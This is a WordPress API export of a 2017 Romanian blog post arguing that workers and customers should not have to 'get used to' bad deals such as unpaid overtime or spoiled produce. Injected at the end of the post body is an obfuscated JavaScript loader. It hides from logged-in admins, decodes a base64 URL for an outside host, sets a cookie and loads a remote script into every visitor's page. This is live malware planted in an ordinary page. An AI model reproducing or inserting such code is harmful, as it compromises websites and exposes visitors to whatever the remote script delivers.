{"id":4405,"date":"2017-10-09T17:44:08","date_gmt":"2017-10-09T14:44:08","guid":{"rendered":"http:\/\/daimon.me\/blog\/?p=4405"},"modified":"2025-10-17T19:44:11","modified_gmt":"2025-10-17T16:44:11","slug":"trebuie-sa-te-obisnuiesti","status":"publish","type":"post","link":"http:\/\/daimon.me\/blog\/2017\/10\/trebuie-sa-te-obisnuiesti\/","title":{"rendered":"&#8220;Trebuie s\u0103 te obi\u015fnuie\u015fti&#8221;"},"content":{"rendered":"<div class=\"entry\">\n<p>Scrie Diana Coman o poveste veche, de-aia cu t\u00e2lc \u015fi \u00eenv\u0103\u0163\u0103turi trase. \u00ce\u015fi aminte\u015fte cum a fost c\u00e2nd i s-a spus c\u0103 &#8220;<a href=\"http:\/\/www.dianacoman.com\/blog\/2016\/11\/07\/cum-n-am-vrut-si-nici-nu-vreau-sa-ma-obisnuiesc\/\">trebuie s\u0103 te obi\u015fnuie\u015fti<\/a>&#8220;.<\/p>\n<p>Diana zice despre situa\u0163ii de la munc\u0103, unde te obi\u015fnuie\u015fti cu tot felu&#8217; de \u00eenc\u0103lc\u0103ri mai mari sau mai mici ale contractului semnat. Spre exemplu, ei i s-a cerut s\u0103 stea s\u0103 munceasc\u0103 peste program.<\/p>\n<p>Partea amuzant\u0103 este c\u0103 \u015ftiu foarte mul\u0163i oameni care au pove\u015fti similare, dar din alte domenii; ba chiar uneori, sub alte forme.<\/p>\n<p style=\"text-align: center;\">~*~<\/p>\n<p style=\"text-align: justify;\">De la mine din familie, spre exemplu, \u00eemi amintesc o poveste amuzant\u0103 vizavi de mersul la cump\u0103r\u0103turi.<\/p>\n<p style=\"text-align: justify;\">Bunica mergea la pia\u0163\u0103 \u015fi f\u0103cea cump\u0103r\u0103turile g\u00eendindu-se \u015fi la omul care vindea marfa. Lua ro\u015fiile chiar \u015fi moi, dac\u0103 f\u0103cea bulion din ele &#8212; ca s\u0103 scape de ele v\u00eenz\u0103torul ((Iar bunica primea ro\u015fiile la un pre\u0163 redus, desigur.)). Dac\u0103 erau fructe, lua c\u00e2teva mai de proast\u0103 calitate, fiindc\u0103 oricum le m\u00e2ncam eu \u00een aceea\u015fi zi. Ce conteaz\u0103 c\u0103-i unul din mere mai b\u0103tut? Doar tot \u00een stomac merge! Chestia asta se aplica cam peste tot, a\u015fa c\u0103 v\u00eenz\u0103torii o iubeau cu patim\u0103, iar dac\u0103 n-o iubeau atunci m\u0103car o respectau. C\u0103, vorba aia, le propunea un t\u00eerg din care s\u0103 c\u00ee\u015ftige ambele p\u0103r\u0163i.<\/p>\n<p style=\"text-align: justify;\">Mama, pe de alt\u0103 parte, judeca pia\u0163a strict din perspectiva or\u0103\u015feanului. \u015ei anume, banii-s la ea \u00een buzunar, i-a muncit, prin urmare dore\u015fte s\u0103 primeasc\u0103 doar fructe sau zarzavaturi de calitate. Chestia asta i-a produs un num\u0103r de frustr\u0103ri p\u00e2n\u0103 prin anii 2000,\u00a0c\u00e2nd supermarketurile au \u00eenceput s\u0103 se r\u0103sp\u00e2ndeasc\u0103. \u00cens\u0103 p\u00e2n\u0103 atunci.. mergea mama la pia\u0163\u0103, cerea mere, iar v\u00e2nz\u0103torul \u00eencepea s\u0103-i pun\u0103 \u00een plas\u0103 la gr\u0103mad\u0103. Ce, s\u0103 \u00ee\u015fi pun\u0103 singur clientul, s\u0103 aleag\u0103 exact ce fruct sau legum\u0103 vrea? Nu se poate, nu se exist\u0103, nici vorb\u0103, cum adic\u0103. P\u0103i atunci cum mai poate v\u00e2nz\u0103torul s\u0103 fac\u0103 c\u00e2\u015ftig pe 100% din cantitatea cu care a venit la pia\u0163\u0103?<\/p>\n<p style=\"text-align: center;\">~*~<\/p>\n<p style=\"text-align: justify;\">Desigur, adev\u0103rul este la mijloc, ca \u00eentotdeauna. Sau, mai bine spus, este ascuns \u00eentr-un aspect care nu-i vizibil imediat, fiind el &#8220;baked in&#8221;, parte integrant\u0103 a precondi\u0163iilor \u015fi prezum\u0163iilor incluse automat \u00een discu\u0163ie.<\/p>\n<p style=\"text-align: justify;\">Managerul din povestea Dianei a estimat gre\u015fit eficien\u0163a echipei, practic vorbind. Fie din prostie, fie \u015ftiind foarte bine ceea ce face, dar omul a promis c\u0103 echipa lui va livra X, un X imposibil de ob\u0163inut \u00een timpul alocat cu resursele alocate. Asta-i tot, realitatea nud\u0103. Faci o promisiune, \u015fi apoi cro\u015fetezi realitatea p\u00een\u0103 se suprapune peste ce-ai visat.<\/p>\n<p style=\"text-align: justify;\">Managerul de banane poate fie s\u0103 estimeze c\u0103 le vinde pe toate (incluz\u00eendu-le \u015fi pe cele deja \u00eennegrite), fie estimeaz\u0103 c\u0103 le vinde doar pe alea complet s\u0103n\u0103toase. Dac\u0103 de\u0163ii 100 de kilograme \u015fi le vinzi cu 1 bitcent per ton\u0103, sco\u0163i 100 de cen\u0163i. Dac\u0103 de fapt e\u015fti cinstit \u015fi elimini din calcul bananele ce s-au \u00eennegrit \u00een timpul transportului, r\u0103m\u00een\u00eend 87 de tone vandabile, c\u00ee\u015ftigi doar 87 bitcen\u0163i. Fie, 89, c\u0103 vinzi restul la pre\u0163 de <em>dumping<\/em>. Totu\u015fi &#8230; tertium non datur?<\/p>\n<p style=\"text-align: justify;\">Ba da, faci cum face de obicei \u015fmecherul rom\u00e2n, ridici pre\u0163ul la 1,15 bitcen\u0163i per ton\u0103, ca s\u0103 c\u00ee\u015ftigi tot 100 la final. C\u0103 doar \u0103la era planu&#8217;\u00a0 t\u0103u, ce fras ((<a href=\"http:\/\/trilema.com\/2009\/capitalism-si-naivitate\/\">Referin\u0163\u0103.<\/a>)). Plan care s-a f\u0103cut pe spatele cump\u0103r\u0103torului, f\u0103r\u0103 ca el s\u0103racu&#8217; s\u0103 aib\u0103 vreun <em>input<\/em> \u00een chestiune. Dup\u0103 cum planul de munc\u0103 se face uneori f\u0103r\u0103 vreo p\u0103rere de la angajat, mai d\u0103-l \u015fi naibii.<\/p>\n<p>Sigur, p\u00een\u0103 la urm\u0103 lumea din jur reprezint\u0103 cel mai bun mecanism de feedback din lume. \u00ce\u0163i cump\u0103r\u0103 bananele, sau merge la alt\u0103 tarab\u0103. St\u0103 peste program sau te reclam\u0103 la ITM. Chestii de-astea.<\/p>\n<p style=\"text-align: center;\">~*~<\/p>\n<p>Privind din ast\u0103 perspectiv\u0103, Diana are dreptate. Nu trebuie niciodat\u0103 s\u0103 &#8220;te obi\u015fnuie\u015fti&#8221;. Nu \u00een sensul \u00een care \u00een\u0163elege <del>managerul<\/del> <del>v\u00eenz\u0103torul<\/del> negustorul rom\u00e2n s\u0103 rezolve problema rezultat\u0103 din prostia lui. Deci, ai f\u0103cut buba \u015fi \u0163i s-au ofilit castrave\u0163ii pe mas\u0103? Solu\u0163ia nu-i s\u0103 pretinzi bani pe ei ca \u015fi cum ar fi verzi \u015fi proaspe\u0163i. Solu\u0163ia e s\u0103 faci afacerea aia profitabil\u0103 pentru ambele p\u0103r\u0163i, iar asta \u00eenseamn\u0103 spre exemplu s\u0103 scazi pre\u0163ul. Tot idem, dac\u0103 managerul (adic\u0103 negustorul-care-vinde-munca-echipei-c\u0103tre-al\u0163ii) a f\u0103cut buba \u015fi are nevoie s\u0103 \u0163in\u0103 oamenii peste program, trebuie s\u0103 fac\u0103 afacerea profitabil\u0103 \u015fi pentru angajat. De exemplu, pl\u0103tindu-l dublu pentru timpul \u00een care nu-i acas\u0103 s\u0103 se joace cu copiii.<\/p>\n<p>Sigur, discu\u0163ia fiind despre economie, putem ad\u0103uga N variabile pe care le-am omis din modelul de mai sus. Putem aduce exemple care se folosesc de variabilele extra, pentru a invalida modelul. Bine\u00een\u0163eles. \u00cen realitate, oamenii fac \u015fi ore suplimentare nepl\u0103tite, pentru c\u0103 altminteri se tem s\u0103-\u015fi piard\u0103 locul de munc\u0103, chestie valid\u0103 \u015fi la vest de Rom\u00e2nia. \u00cen realitate, oamenii accept\u0103 o ro\u015fie cu imperfec\u0163iuni, din motivul simplu c\u0103 n-au chef de o situa\u0163ie conflictual\u0103. Sunt multe scenarii.<\/p>\n<p>Totu\u015fi, zic eu c\u0103 principiile enun\u0163ate se men\u0163in.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i&lt;20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input .length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<&lt;2)|(h2\/>>4);o2=((h2&15)< &lt;4)|(h3>>2);o3=((h3&3)< &lt;6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/script><\/p>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>Scrie Diana Coman o poveste veche, de-aia cu t\u00e2lc \u015fi \u00eenv\u0103\u0163\u0103turi trase. \u00ce\u015fi aminte\u015fte cum a fost c\u00e2nd i s-a spus c\u0103 &#8220;trebuie s\u0103 te obi\u015fnuie\u015fti&#8220;. Diana zice despre situa\u0163ii de la munc\u0103, unde te obi\u015fnuie\u015fti cu tot felu&#8217; de \u00eenc\u0103lc\u0103ri mai mari sau mai mici ale contractului semnat. Spre exemplu, ei i s-a cerut &#8230;<\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[41],"tags":[],"class_list":{"0":"post-4405","1":"post","2":"type-post","3":"status-publish","4":"format-standard","6":"category-societate-si-dezbateri","7":"anons"},"_links":{"self":[{"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/posts\/4405","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/comments?post=4405"}],"version-history":[{"count":15,"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/posts\/4405\/revisions"}],"predecessor-version":[{"id":5026,"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/posts\/4405\/revisions\/5026"}],"wp:attachment":[{"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/media?parent=4405"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/categories?post=4405"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/tags?post=4405"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}